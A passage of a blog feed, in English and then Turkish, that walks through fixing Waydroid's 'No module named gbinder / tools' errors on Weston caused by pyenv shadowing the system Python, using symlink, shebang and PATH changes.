class="headerlink" href="#3-fix-python-symlink" title="Permanent link">#</a></h3> <p>If <code>/usr/bin/python3</code> points to the wrong version, you should redirect it to the correct version:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>rm<span class="w"> </span>/usr/bin/python3 sudo<span class="w"> </span>ln<span class="w"> </span>-sf<span class="w"> </span>python3.13<span class="w"> </span>/usr/bin/python3 </code></pre></div> <div class="admonition warning"> <p class="admonition-title">This operation affects the entire system ⚠️ Connecting to the wrong Python version can cause errors in other applications.</p> </div> <p>To verify:</p> <div class="highlight"><pre><span></span><code>/usr/bin/python3<span class="w"> </span>-c<span class="w"> </span><span class="s2">"import gbinder; print('&checkmark; gbinder is working')"</span> </code></pre></div> <hr/> <h3 id="4-edit-waydroid-script">4. Edit Waydroid Script<a class="headerlink" href="#4-edit-waydroid-script" title="Permanent link">#</a></h3> <p>Open the Waydroid script file:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>nano<span class="w"> </span>/usr/bin/waydroid </code></pre></div> <p>Edit the file as follows:</p> <div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/python3</span> <span class="c1"># SPDX-License-Identifier: GPL-3.0-or-later</span> <span class="kn">import</span><span class="w"> </span><span class="nn">os</span> <span class="kn">import</span><span class="w"> </span><span class="nn">sys</span> <span class="c1"># Add waydroid library path</span> <span class="n">sys</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s2">"/usr/lib/waydroid"</span><span class="p">)</span> <span class="kn">import</span><span class="w"> </span><span class="nn">tools</span> <span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span> <span class="n">os</span><span class="o">.</span><span class="n">umask</span><span class="p">(</span><span class="mo">0o0022</span><span class="p">)</span> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="n">tools</span><span class="o">.</span><span class="n">main</span><span class="p">())</span> </code></pre></div> <div class="admonition tip"> <p class="admonition-title">These two changes are very critical 💡 1️⃣ Shebang line corrected to <code>/usr/bin/python3</code>. 2️⃣ <code>/usr/lib/waydroid</code> path added to Python path.</p> </div> <hr/> <h3 id="5-test-waydroid">5. Test Waydroid<a class="headerlink" href="#5-test-waydroid" title="Permanent link">#</a></h3> <p>After the edits, check that Waydroid is working:</p> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>status </code></pre></div> <p>Sample output:</p> <div class="highlight"><pre><span></span><code><span class="n">Session</span><span class="o">:</span><span class="w"> </span><span class="n">STOPPED</span> <span class="n">Vendor</span><span class="w"> </span><span class="n">type</span><span class="o">:</span><span class="w"> </span><span class="n">MAINLINE</span> </code></pre></div> <p>If everything is on track, you have now overcome the errors 🎉</p> <hr/> <h2 id="using-waydroid-in-weston-environment_1">Using Waydroid in Weston Environment<a class="headerlink" href="#using-waydroid-in-weston-environment" title="Permanent link">#</a></h2> <p>To start Waydroid on the Weston desktop:</p> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>session<span class="w"> </span>start waydroid<span class="w"> </span>show-full-ui </code></pre></div> <p>Or as a shortcut:</p> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>first-launch </code></pre></div> <h3 id="starting-applications">Starting Applications<a class="headerlink" href="#starting-applications" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>app<span class="w"> </span>list waydroid<span class="w"> </span>app<span class="w"> </span>launch<span class="w"> </span>com.android.settings </code></pre></div> <h3 id="stopping-waydroid">Stopping Waydroid<a class="headerlink" href="#stopping-waydroid" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>session<span class="w"> </span>stop </code></pre></div> <div class="admonition note"> <p class="admonition-title">Properly terminating the session before shutting down Waydroid ensures that system resources are released ⚙️</p> </div> <hr/> <h2 id="alternative-method-solution-via-path_1">Alternative Method: Solution via PATH<a class="headerlink" href="#alternative-method-solution-via-path" title="Permanent link">#</a></h2> <p>If you don't want to change the symlink, you can temporarily disable pyenv:</p> <div class="highlight"><pre><span></span><code>env<span class="w"> </span><span class="nv">PATH</span><span class="o">=</span><span class="s2">"/usr/local/sbin:/usr/local/bin:/usr/bin"</span><span class="w"> </span>waydroid<span class="w"> </span>session<span class="w"> </span>start </code></pre></div> <div class="admonition tip"> <p class="admonition-title">With this method, pyenv is temporarily disabled and system Python is used 💡</p> </div> <hr/> <h2 id="additional-troubleshooting">Additional Troubleshooting<a class="headerlink" href="#additional-troubleshooting" title="Permanent link">#</a></h2> <h3 id="gbinder-still-not-found">gbinder still not found<a class="headerlink" href="#gbinder-still-not-found" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>pacman<span class="w"> </span>-Ql<span class="w"> </span>python-gbinder<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-E<span class="w"> </span><span class="s2">"\.so</span>$<span class="s2">"</span> </code></pre></div> <p>If the output is empty, the module may not have been installed in the correct directory. Try reinstalling.</p> <h3 id="permanent-solution-for-pyenv-conflict">Permanent Solution for Pyenv Conflict<a class="headerlink" href="#permanent-solution-for-pyenv-conflict" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span><span class="s1">'alias waydroid="env PATH=\"/usr/local/sbin:/usr/local/bin:/usr/bin\" waydroid"'</span><span class="w"> </span>&gt;&gt;<span class="w"> </span>~/.bashrc <span class="nb">source</span><span class="w"> </span>~/.bashrc </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Thanks to this alias, Waydroid always uses system Python 💪</p> </div> <hr/> <h2 id="conclusion_1">Conclusion<a class="headerlink" href="#conclusion" title="Permanent link">#</a></h2> <p>In this guide, we examined the reasons and solutions for the <strong>ModuleNotFoundError: No module named 'gbinder' / 'tools'</strong> errors encountered when installing Waydroid on the Weston desktop environment.</p> <p>To solve the problem:</p> <ol> <li>We identified the correct Python interpreter</li> <li>We edited the Waydroid script</li> <li>We provided an alternative solution with PATH manipulation</li> </ol> <p>After these steps, you can run Waydroid smoothly 🚀 Enjoy the Android experience on Linux! 🎯</p> <hr/> <h2 id="resources">Resources<a class="headerlink" href="#resources" title="Permanent link">#</a></h2> <ul> <li><a href="https://docs.waydro.id/" rel="noopener noreferrer" target="_blank">Waydroid Documentation</a></li> <li><a href="https://wiki.archlinux.org/title/Waydroid" rel="noopener noreferrer" target="_blank">Arch Linux Wiki - Waydroid</a></li> <li><a href="https://docs.python.org/3/library/exceptions.html#ModuleNotFoundError" rel="noopener noreferrer" target="_blank">Python Docs - ModuleNotFoundError</a></li> </ul> <hr/> <script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"></script> <p><lite-youtube videoid="HVQBmWN5ZaU"></lite-youtube></p>2025-10-25T03:00:00+03:002025-10-25T03:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-10-25:/weston-ile-waydroid-modulenotfounderror-hatasi-cozumu/

<p>Waydroid kurulumu sırasında sıkça görülen “ModuleNotFoundError” hatasının nedenlerini ve adım adım çözümünü öğren. Weston üzerinde sorunsuz çalıştır! ⚡</p>

<hr/> <h2 id="giris">Giri&scedil;<a class="headerlink" href="#giris" title="Permanent link">#</a></h2> <p>Waydroid, Android uygulamalar&inodot;n&inodot; Linux &uuml;zerinde &ccedil;al&inodot;&scedil;t&inodot;rmay&inodot; sa&gbreve;layan harika bir ara&ccedil;. Ancak Weston masa&uuml;st&uuml; ortam&inodot;nda kurulum yaparken bir&ccedil;ok kullan&inodot;c&inodot;, <strong>Python &ldquo;ModuleNotFoundError&rdquo; hatas&inodot;yla</strong> kar&scedil;&inodot;la&scedil;&inodot;yor. Bu rehberde, &ouml;zellikle <strong>pyenv</strong> kullanan sistemlerde bu hatan&inodot;n nedenlerini ve &ccedil;&ouml;z&uuml;m&uuml;n&uuml; ad&inodot;m ad&inodot;m anlataca&gbreve;&inodot;m.</p> <p>Bu hata genellikle &scedil;u &scedil;ekilde ortaya &ccedil;&inodot;kar:</p> <ul> <li><code>ModuleNotFoundError: No module named 'gbinder'</code></li> <li><code>ModuleNotFoundError: No module named 'tools'</code></li> </ul> <p>E&gbreve;er sen de bu hatalardan birini ald&inodot;ysan, do&gbreve;ru yerdesin 💡 &Scedil;imdi sorunun kayna&gbreve;&inodot;n&inodot; ve nas&inodot;l &ccedil;&ouml;z&uuml;lece&gbreve;ini birlikte g&ouml;relim.</p> <hr/> <h2 id="karslaslan-hatalar">Kar&scedil;&inodot;la&scedil;&inodot;lan Hatalar<a class="headerlink" href="#karslaslan-hatalar" title="Permanent link">#</a></h2> <h3 id="hata-1-modulenotfounderror-no-module-named-gbinder">Hata 1: <code>ModuleNotFoundError: No module named 'gbinder'</code><a class="headerlink" href="#hata-1-modulenotfounderror-no-module-named-gbinder" title="Permanent link">#</a></h3> <p>Waydroid oturumunu ba&scedil;latmaya &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot;nda &scedil;u hata kar&scedil;&inodot;na &ccedil;&inodot;kabilir:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>waydroid<span class="w"> </span>session<span class="w"> </span>start Traceback<span class="w"> </span><span class="o">(</span>most<span class="w"> </span>recent<span class="w"> </span>call<span class="w"> </span>last<span class="o">)</span>: <span class="w"> </span>File<span class="w"> </span><span class="s2">"/usr/bin/waydroid"</span>,<span class="w"> </span>line<span class="w"> </span><span class="m">7</span>,<span class="w"> </span><span class="k">in</span><span class="w"> </span>&lt;module&gt; <span class="w"> </span>import<span class="w"> </span>tools <span class="w"> </span>File<span class="w"> </span><span class="s2">"/usr/lib/waydroid/tools/__init__.py"</span>,<span class="w"> </span>line<span class="w"> </span><span class="m">12</span>,<span class="w"> </span><span class="k">in</span><span class="w"> </span>&lt;module&gt; <span class="w"> </span>from<span class="w"> </span>.<span class="w"> </span>import<span class="w"> </span>actions <span class="w"> </span>... <span class="w"> </span>File<span class="w"> </span><span class="s2">"/usr/lib/waydroid/tools/interfaces/IPlatform.py"</span>,<span class="w"> </span>line<span class="w"> </span><span class="m">1</span>,<span class="w"> </span><span class="k">in</span><span class="w"> </span>&lt;module&gt; <span class="w"> </span>import<span class="w"> </span>gbinder ModuleNotFoundError:<span class="w"> </span>No<span class="w"> </span>module<span class="w"> </span>named<span class="w"> </span><span class="s1">'gbinder'</span> </code></pre></div> <h3 id="hata-2-modulenotfounderror-no-module-named-tools">Hata 2: <code>ModuleNotFoundError: No module named 'tools'</code><a class="headerlink" href="#hata-2-modulenotfounderror-no-module-named-tools" title="Permanent link">#</a></h3> <p>&Idot;lk hatay&inodot; &ccedil;&ouml;zd&uuml;kten sonra, bazen ikinci bir hata kar&scedil;&inodot;na &ccedil;&inodot;kar:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>waydroid<span class="w"> </span>session<span class="w"> </span>start Traceback<span class="w"> </span><span class="o">(</span>most<span class="w"> </span>recent<span class="w"> </span>call<span class="w"> </span>last<span class="o">)</span>: <span class="w"> </span>File<span class="w"> </span><span class="s2">"/usr/bin/waydroid"</span>,<span class="w"> </span>line<span class="w"> </span><span class="m">7</span>,<span class="w"> </span><span class="k">in</span><span class="w"> </span>&lt;module&gt; <span class="w"> </span>import<span class="w"> </span>tools ModuleNotFoundError:<span class="w"> </span>No<span class="w"> </span>module<span class="w"> </span>named<span class="w"> </span><span class="s1">'tools'</span> </code></pre></div> <p>Bu iki hata, sistemdeki Python yorumlay&inodot;c&inodot;s&inodot; ve Waydroid&rsquo;in &ccedil;al&inodot;&scedil;ma ortam&inodot; aras&inodot;ndaki uyumsuzluktan kaynaklan&inodot;r.</p> <hr/> <h2 id="sorunun-kok-nedeni_1">Sorunun K&ouml;k Nedeni<a class="headerlink" href="#sorunun-kok-nedeni" title="Permanent link">#</a></h2> <p>Bu hatalar&inodot;n temel nedenleri &scedil;unlard&inodot;r:</p> <ol> <li> <p><strong>Pyenv PATH &ouml;nceli&gbreve;i:</strong> <code>/usr/bin/python3</code> symlink&rsquo;i, pyenv&rsquo;in kendi Python s&uuml;r&uuml;m&uuml;ne y&ouml;nlenmi&scedil; olabilir.</p> </li> <li> <p><strong>Yanl&inodot;&scedil; Shebang:</strong> Waydroid script&rsquo;i <code>#!/usr/bin/env python3</code> sat&inodot;r&inodot;n&inodot; kullan&inodot;r. Bu sat&inodot;r, PATH&rsquo;teki ilk Python yorumlay&inodot;c&inodot;s&inodot;n&inodot; &ccedil;a&gbreve;&inodot;r&inodot;r &mdash; bu da genellikle pyenv s&uuml;r&uuml;m&uuml;d&uuml;r.</p> </li> <li> <p><strong>Eksik mod&uuml;l yolu:</strong> Waydroid&rsquo;in kendi mod&uuml;l dizini (<code>/usr/lib/waydroid</code>) Python path&rsquo;ine dahil de&gbreve;ildir.</p> </li> </ol> <div class="admonition note"> <p class="admonition-title">Bu hatalar genellikle pyenv ile sistem Python'unun &ccedil;ak&inodot;&scedil;mas&inodot;ndan kaynaklan&inodot;r ⚡</p> </div> <hr/> <h2 id="adm-adm-cozum">Ad&inodot;m Ad&inodot;m &Ccedil;&ouml;z&uuml;m<a class="headerlink" href="#adm-adm-cozum" title="Permanent link">#</a></h2> <h3 id="1-hangi-pythonun-kullanldgn-kontrol-et">1. Hangi Python&rsquo;un Kullan&inodot;ld&inodot;&gbreve;&inodot;n&inodot; Kontrol Et<a class="headerlink" href="#1-hangi-pythonun-kullanldgn-kontrol-et" title="Permanent link">#</a></h3> <p>&Ouml;ncelikle sistemde hangi Python yorumlay&inodot;c&inodot;s&inodot;n&inodot;n &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot;n&inodot; kontrol edelim:</p> <div class="highlight"><pre><span></span><code>which<span class="w"> </span>python3 <span class="c1"># &Ouml;rnek &ccedil;&inodot;kt&inodot;: /home/kullanici/.pyenv/shims/python3</span> </code></pre></div> <p>Sistem Python&rsquo;unun nerede oldu&gbreve;unu g&ouml;rmek i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>ls<span class="w"> </span>-la<span class="w"> </span>/usr/bin/python3* </code></pre></div> <p>Burada ger&ccedil;ek sistem Python&rsquo;unu (&ouml;rne&gbreve;in <code>python3.13</code>) g&ouml;receksin.</p> <div class="admonition tip"> <p class="admonition-title">Pyenv, PATH s&inodot;ras&inodot;n&inodot; de&gbreve;i&scedil;tirerek sistem Python&rsquo;unu g&ouml;lgeler. Bu y&uuml;zden do&gbreve;ru yorumlay&inodot;c&inodot;y&inodot; tespit etmek &ccedil;ok &ouml;nemlidir 💡</p> </div> <hr/> <h3 id="2-gerekli-paketleri-kontrol-et">2. Gerekli Paketleri Kontrol Et<a class="headerlink" href="#2-gerekli-paketleri-kontrol-et" title="Permanent link">#</a></h3> <p>Waydroid i&ccedil;in gereken Python mod&uuml;llerinin y&uuml;kl&uuml; oldu&gbreve;undan emin ol:</p> <div class="highlight"><pre><span></span><code>pacman<span class="w"> </span>-Qs<span class="w"> </span>gbinder </code></pre></div> <p>A&scedil;a&gbreve;&inodot;daki paketlerin kurulu olmas&inodot; gerekir:</p> <ul> <li><code>libgbinder</code></li> <li><code>python-gbinder</code></li> </ul> <p>Eksikse &scedil;u komutla kurabilirsin:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>libgbinder<span class="w"> </span>python-gbinder </code></pre></div> <hr/> <h3 id="3-python-symlinkini-duzelt">3. Python Symlink&rsquo;ini D&uuml;zelt<a class="headerlink" href="#3-python-symlinkini-duzelt" title="Permanent link">#</a></h3> <p>E&gbreve;er <code>/usr/bin/python3</code> yanl&inodot;&scedil; bir s&uuml;r&uuml;me i&scedil;aret ediyorsa, do&gbreve;ru s&uuml;r&uuml;me y&ouml;nlendirmelisin:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>rm<span class="w"> </span>/usr/bin/python3 sudo<span class="w"> </span>ln<span class="w"> </span>-sf<span class="w"> </span>python3.13<span class="w"> </span>/usr/bin/python3 </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Bu i&scedil;lem sistem genelini etkiler ⚠️ Yanl&inodot;&scedil; Python s&uuml;r&uuml;m&uuml;ne ba&gbreve;lamak di&gbreve;er uygulamalarda hataya yol a&ccedil;abilir.</p> </div> <p>Do&gbreve;rulamak i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>/usr/bin/python3<span class="w"> </span>-c<span class="w"> </span><span class="s2">"import gbinder; print('&checkmark; gbinder &ccedil;al&inodot;&scedil;&inodot;yor')"</span> </code></pre></div> <hr/> <h3 id="4-waydroid-scriptini-duzenle">4. Waydroid Script&rsquo;ini D&uuml;zenle<a class="headerlink" href="#4-waydroid-scriptini-duzenle" title="Permanent link">#</a></h3> <p>Waydroid&rsquo;in script dosyas&inodot;n&inodot; a&ccedil;:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>nano<span class="w"> </span>/usr/bin/waydroid </code></pre></div> <p>Dosyay&inodot; a&scedil;a&gbreve;&inodot;daki gibi d&uuml;zenle:</p> <div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/python3</span> <span class="c1"># SPDX-License-Identifier: GPL-3.0-or-later</span> <span class="kn">import</span><span class="w"> </span><span class="nn">os</span> <span class="kn">import</span><span class="w"> </span><span class="nn">sys</span> <span class="c1"># Add waydroid library path</span> <span class="n">sys</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s2">"/usr/lib/waydroid"</span><span class="p">)</span> <span class="kn">import</span><span class="w"> </span><span class="nn">tools</span> <span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span> <span class="n">os</span><span class="o">.</span><span class="n">umask</span><span class="p">(</span><span class="mo">0o0022</span><span class="p">)</span> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="n">tools</span><span class="o">.</span><span class="n">main</span><span class="p">())</span> </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Buradaki iki de&gbreve;i&scedil;iklik &ccedil;ok kritik 💡 1️⃣ Shebang sat&inodot;r&inodot; <code>/usr/bin/python3</code> olarak d&uuml;zeltildi. 2️⃣ <code>/usr/lib/waydroid</code> yolu Python path&rsquo;ine eklendi.</p> </div> <hr/> <h3 id="5-waydroidi-test-et">5. Waydroid&rsquo;i Test Et<a class="headerlink" href="#5-waydroidi-test-et" title="Permanent link">#</a></h3> <p>D&uuml;zenlemelerden sonra Waydroid&rsquo;in &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot;n&inodot; kontrol et:</p> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>status </code></pre></div> <p>&Ouml;rnek &ccedil;&inodot;kt&inodot;:</p> <div class="highlight"><pre><span></span><code><span class="n">Session</span><span class="o">:</span><span class="w"> </span><span class="n">STOPPED</span> <span class="n">Vendor</span><span class="w"> </span><span class="n">type</span><span class="o">:</span><span class="w"> </span><span class="n">MAINLINE</span> </code></pre></div> <p>Her &scedil;ey yolundaysa art&inodot;k hatalardan kurtuldun 🎉</p> <hr/> <h2 id="weston-ortamnda-waydroid-kullanm_1">Weston Ortam&inodot;nda Waydroid Kullan&inodot;m&inodot;<a class="headerlink" href="#weston-ortamnda-waydroid-kullanm" title="Permanent link">#</a></h2> <p>Weston masa&uuml;st&uuml;nde Waydroid&rsquo;i ba&scedil;latmak i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>session<span class="w"> </span>start waydroid<span class="w"> </span>show-full-ui </code></pre></div> <p>Ya da k&inodot;sayol olarak:</p> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>first-launch </code></pre></div> <h3 id="uygulama-baslatma">Uygulama Ba&scedil;latma<a class="headerlink" href="#uygulama-baslatma" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>app<span class="w"> </span>list waydroid<span class="w"> </span>app<span class="w"> </span>launch<span class="w"> </span>com.android.settings </code></pre></div> <h3 id="waydroidi-durdurma">Waydroid&rsquo;i Durdurma<a class="headerlink" href="#waydroidi-durdurma" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>session<span class="w"> </span>stop </code></pre></div> <div class="admonition note"> <p class="admonition-title">Waydroid&rsquo;i kapatmadan &ouml;nce oturumu d&uuml;zg&uuml;n sonland&inodot;rmak, sistem kaynaklar&inodot;n&inodot;n serbest kalmas&inodot;n&inodot; sa&gbreve;lar ⚙️</p> </div> <hr/> <h2 id="alternatif-yontem-path-uzerinden-cozum_1">Alternatif Y&ouml;ntem: PATH &Uuml;zerinden &Ccedil;&ouml;z&uuml;m<a class="headerlink" href="#alternatif-yontem-path-uzerinden-cozum" title="Permanent link">#</a></h2> <p>E&gbreve;er symlink de&gbreve;i&scedil;tirmek istemiyorsan, pyenv&rsquo;i ge&ccedil;ici olarak devre d&inodot;&scedil;&inodot; b&inodot;rakabilirsin:</p> <div class="highlight"><pre><span></span><code>env<span class="w"> </span><span class="nv">PATH</span><span class="o">=</span><span class="s2">"/usr/local/sbin:/usr/local/bin:/usr/bin"</span><span class="w"> </span>waydroid<span class="w"> </span>session<span class="w"> </span>start </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Bu y&ouml;ntemle pyenv ge&ccedil;ici olarak devre d&inodot;&scedil;&inodot; kal&inodot;r ve sistem Python&rsquo;u kullan&inodot;l&inodot;r 💡</p> </div> <hr/> <h2 id="ek-sorun-giderme">Ek Sorun Giderme<a class="headerlink" href="#ek-sorun-giderme" title="Permanent link">#</a></h2> <h3 id="gbinder-hala-bulunamyor">gbinder h&acirc;l&acirc; bulunam&inodot;yor<a class="headerlink" href="#gbinder-hala-bulunamyor" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>pacman<span class="w"> </span>-Ql<span class="w"> </span>python-gbinder<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-E<span class="w"> </span><span class="s2">"\.so</span>$<span class="s2">"</span> </code></pre></div> <p>E&gbreve;er &ccedil;&inodot;kt&inodot; bo&scedil;sa, mod&uuml;l do&gbreve;ru dizinde kurulmam&inodot;&scedil; olabilir. Yeniden y&uuml;klemeyi dene.</p> <h3 id="pyenv-caksmasn-kalc-cozme">Pyenv &Ccedil;ak&inodot;&scedil;mas&inodot;n&inodot; Kal&inodot;c&inodot; &Ccedil;&ouml;zme<a class="headerlink" href="#pyenv-caksmasn-kalc-cozme" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span><span class="s1">'alias waydroid="env PATH=\"/usr/local/sbin:/usr/local/bin:/usr/bin\" waydroid"'</span><span class="w"> </span>&gt;&gt;<span class="w"> </span>~/.bashrc <span class="nb">source</span><span class="w"> </span>~/.bashrc </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Bu alias sayesinde Waydroid her zaman sistem Python&rsquo;unu kullan&inodot;r 💪</p> </div> <hr/> <h2 id="sonuc_1">Sonu&ccedil;<a class="headerlink" href="#sonuc" title="Permanent link">#</a></h2> <p>Bu rehberde Weston masa&uuml;st&uuml; ortam&inodot;nda Waydroid kurarken kar&scedil;&inodot;la&scedil;&inodot;lan <strong>ModuleNotFoundError: No module named 'gbinder' / 'tools'</strong> hatalar&inodot;n&inodot;n nedenlerini ve &ccedil;&ouml;z&uuml;mlerini inceledik.</p> <p>Sorunu &ccedil;&ouml;zmek i&ccedil;in:</p> <ol> <li>Do&gbreve;ru Python yorumlay&inodot;c&inodot;s&inodot;n&inodot; belirledik</li> <li>Waydroid script&rsquo;ini d&uuml;zenledik</li> <li>PATH manip&uuml;lasyonu ile alternatif &ccedil;&ouml;z&uuml;m sunduk</li> </ol> <p>Bu ad&inodot;mlar&inodot;n ard&inodot;ndan Waydroid&rsquo;i sorunsuz &scedil;ekilde &ccedil;al&inodot;&scedil;t&inodot;rabilirsin 🚀 Linux &uuml;zerinde Android deneyimin keyfini &ccedil;&inodot;kar! 🎯</p> <hr/> <h2 id="kaynaklar">Kaynaklar<a class="headerlink" href="#kaynaklar" title="Permanent link">#</a></h2> <ul> <li><a href="https://docs.waydro.id/" rel="noopener noreferrer" target="_blank">Waydroid Documentation</a></li> <li><a href="https://wiki.archlinux.org/title/Waydroid" rel="noopener noreferrer" target="_blank">Arch Linux Wiki - Waydroid</a></li> <li><a href="https://docs.python.org/3/library/exceptions.html#ModuleNotFoundError" rel="noopener noreferrer" target="_blank">Python Docs - ModuleNotFoundError</a></li> </ul> <hr/> <script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"></script> <p><lite-youtube use-nocookie="" videoid="HVQBmWN5ZaU"></lite-youtube></p>